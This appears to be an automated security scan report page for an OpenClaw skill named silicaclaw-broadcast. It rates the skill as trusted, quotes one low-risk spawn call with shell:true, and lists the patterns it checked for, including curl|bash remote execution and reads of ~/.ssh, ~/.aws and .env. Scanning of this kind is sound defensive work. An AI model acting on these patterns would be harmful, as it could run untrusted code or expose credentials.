中文 EN

扫描报告

扫描新文件

✓ 可信 — 风险评分 5/100
上次扫描：2 天前 重新扫描
5 /100
silicaclaw-broadcast
Official OpenClaw skill for a bounded local SilicaClaw broadcast workflow: read public broadcasts, publish public broadcasts, and optionally forward owner-relevant summaries through OpenClaw's native channel.
SilicaClaw Broadcast is a legitimate local-bridge workflow skill with well-documented capabilities, no undeclared behavior, and no malicious indicators.
技能名称silicaclaw-broadcast
分析耗时38.0s
引擎pi
✓
可以安装
This skill is safe to use. Ensure the OPENCLAW_OWNER_FORWARD_CMD environment variable is set to a trusted command before deploying.

安全发现 1 项

严重性 安全发现 位置
低危
Subprocess execution with shell:true
owner-forwarder-demo.mjs uses child_process.spawn with shell:true to execute OPENCLAW_OWNER_FORWARD_CMD. This is a legitimate forwarding mechanism but could theoretically execute arbitrary commands if the environment variable is compromised.
const child = spawn(OWNER_FORWARD_CMD, { shell: true, stdio: ['pipe', 'inherit', 'inherit'], env: process.env });
→ This is documented and intentional. Ensure the OPENCLAW_OWNER_FORWARD_CMD environment variable is set to a trusted, hardcoded command path rather than user-controlled input in production deployments.
 scripts/owner-forwarder-demo.mjs:50
资源类型声明权限推断权限状态证据
网络访问 READ READ ✓ 一致 SKILL.md line 4: 'connect to a local SilicaClaw node at http://localhost:4310'; …
命令执行 WRITE WRITE ✓ 一致 SKILL.md line 145: 'OPENCLAW_OWNER_FORWARD_CMD=node scripts/owner-dispatch-adapt…
环境变量 READ READ ✓ 一致 SKILL.md: OPENCLAW_OWNER_FORWARD_CMD, OPENCLAW_SOURCE_DIR, OPENCLAW_OWNER_CHANNE…
文件系统 NONE NONE — No filesystem access in any script. bridge-client.mjs reads only command-line ar…
剪贴板 NONE NONE — No clipboard access observed.
技能调用 WRITE WRITE ✓ 一致 manifest.json: forward_to_owner_via_openclaw, owner_forwarding_policy, owner_dis…
浏览器 NONE NONE — No browser access observed.
数据库 NONE NONE — No database access observed.

目录结构

11 文件 · 26.4 KB · 782 行
Markdown 5f · 490L JavaScript 4f · 251L JSON 1f · 35L YAML 1f · 6L
├─ ▾ 📁 agents
│ └─ 📋 openai.yaml YAML 6L · 742 B
├─ ▾ 📁 references
│ ├─ 📝 computer-control-via-openclaw.md Markdown 41L · 1.6 KB
│ ├─ 📝 owner-dialogue-cheatsheet-zh.md Markdown 81L · 2.0 KB
│ ├─ 📝 owner-dispatch-adapter.md Markdown 81L · 2.3 KB
│ └─ 📝 owner-forwarding-policy.md Markdown 48L · 1.9 KB
├─ ▾ 📁 scripts
│ ├─ 📜 bridge-client.mjs JavaScript 59L · 1.7 KB
│ ├─ 📜 owner-dispatch-adapter-demo.mjs JavaScript 12L · 255 B
│ ├─ 📜 owner-forwarder-demo.mjs JavaScript 111L · 3.5 KB
│ └─ 📜 send-to-owner-via-openclaw.mjs JavaScript 69L · 1.6 KB
├─ 📋 manifest.json JSON 35L · 1.4 KB
└─ 📝 SKILL.md Markdown 239L · 9.5 KB

安全亮点

✓ All network activity is restricted to localhost:4310 (the local SilicaClaw bridge)
✓ No credential harvesting or environment variable iteration for sensitive keys
✓ No base64 encoding, eval(), or dynamic code execution
✓ No access to sensitive paths (~/.ssh, ~/.aws, .env, etc.)
✓ No remote script execution (curl|bash, wget|sh)
✓ No hidden functionality—all shell execution is declared in SKILL.md and gated by explicit environment variables
✓ Strong safety boundaries documented: no arbitrary code execution from broadcast content, no wallet/private key access, no unknown remote endpoints
✓ Input validation on send command (requires --body flag)
✓ Message scoring logic is transparent and documented
✓ Well-structured payload forwarding with explicit schema